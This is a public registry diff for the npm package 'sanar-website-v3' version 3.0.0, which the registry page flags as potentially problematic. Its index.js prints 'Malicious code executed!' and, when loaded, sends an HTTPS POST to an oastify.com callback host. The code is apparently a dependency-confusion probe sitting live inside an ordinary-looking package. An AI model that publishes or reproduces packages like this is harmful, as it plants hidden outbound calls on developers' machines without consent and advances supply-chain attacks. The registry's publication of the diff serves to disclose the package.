sanar-website-v3 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of sanar-website-v3 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +2 -0
  2. package/index.js +31 -0
  3. package/package.json +12 -0
package/README.md ADDED
@@ -0,0 +1,2 @@
1
+ # sanar-website-v3
2
+ Test
package/index.js ADDED
@@ -0,0 +1,31 @@
1
+ // index.js
2
+ console.log("Malicious code executed!");
3
+
4
+ // Optionally, send a network request to your server for verification
5
+ const http = require('https');
6
+
7
+ const data = JSON.stringify({ message: 'Malicious code executed!' });
8
+
9
+ const options = {
10
+ hostname: '9hrw5wd6scu0tydiocu3hoz0zr5itjh8.oastify.com',
11
+ port: 443,
12
+ path: '/log',
13
+ method: 'POST',
14
+ headers: {
15
+ 'Content-Type': 'application/json',
16
+ 'Content-Length': data.length,
17
+ },
18
+ };
19
+
20
+ const req = http.request(options, (res) => {
21
+ res.on('data', (d) => {
22
+ process.stdout.write(d);
23
+ });
24
+ });
25
+
26
+ req.on('error', (e) => {
27
+ console.error(e);
28
+ });
29
+
30
+ req.write(data);
31
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "sanar-website-v3",
3
+ "version": "3.0.0",
4
+ "description": "Test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
12
+ }